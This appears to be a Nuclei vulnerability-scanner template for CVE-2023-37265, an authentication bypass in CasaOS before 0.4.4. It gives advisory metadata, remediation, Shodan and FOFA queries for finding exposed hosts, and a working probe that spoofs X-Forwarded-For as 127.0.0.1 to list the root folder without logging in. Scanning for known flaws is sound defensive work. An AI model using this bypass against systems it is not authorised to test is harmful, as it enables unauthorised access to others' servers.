id: CVE-2023-37265

info:
  name: CasaOS  < 0.4.4 - Authentication Bypass via Internal IP
  author: iamnoooob,DhiyaneshDK,pdresearch
  severity: critical
  description: |
    CasaOS is an open-source Personal Cloud system. Due to a lack of IP address verification an unauthenticated attackers can execute arbitrary commands as `root` on CasaOS instances. The problem was addressed by improving the detection of client IP addresses in `391dd7f`. This patch is part of CasaOS 0.4.4. Users should upgrade to CasaOS 0.4.4. If they can't, they should temporarily restrict access to CasaOS to untrusted users, for instance by not exposing it publicly.
  impact: |
    Successful exploitation allows unauthorized access to the CasaOS system.
  remediation: The problem was addressed by improving the detection of client IP addresses in 391dd7f. This patch is part of CasaOS 0.4.4.
  reference:
    - https://github.com/IceWhaleTech/CasaOS/commit/705bf1facbffd2ca40b159b0303132b6fdf657ad
    - https://github.com/IceWhaleTech/CasaOS/security/advisories/GHSA-m5q5-8mfw-p2hr
    - https://github.com/IceWhaleTech/CasaOS-Gateway/commit/391dd7f0f239020c46bf057cfa25f82031fc15f7
    - https://github.com/IceWhaleTech/CasaOS-Gateway/security/advisories/GHSA-vjh7-5r6x-xh6g
    - https://github.com/komodoooo/Some-things
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-37265
    cwe-id: CWE-306
    epss-score: 0.04239
    epss-percentile: 0.92256
    cpe: cpe:2.3:o:icewhale:casaos:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: icewhale
    product: casaos
    shodan-query:
      - http.html:"/CasaOS-UI/public/index.html"
      - http.html:"/casaos-ui/public/index.html"
    fofa-query:
      - body="/CasaOS-UI/public/index.html"
      - body="/casaos-ui/public/index.html"
  tags: cve,cve2023,oss,casaos,jwt,icewhale

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1/folder?path=%2F"

    headers:
      X-Forwarded-For: 127.0.0.1
    matchers:
      - type: word
        words:
          - '"success":200'
          - '"message":"ok"'
          - 'content'
          - 'is_dir'
        condition: and

    extractors:
      - type: json
        json:
          - .data.content[].path
# digest: 4b0a00483046022100d75c1eac83613854f0c0cd2cad0d0ebfcf75b885c049d5e2bc61c9fe453fc789022100bc0aea5c5e4cb516d6967e0628a665a8942cd2c705e3e03a75f24197d522a46a:922c64590222798bb761d5b6d8e72950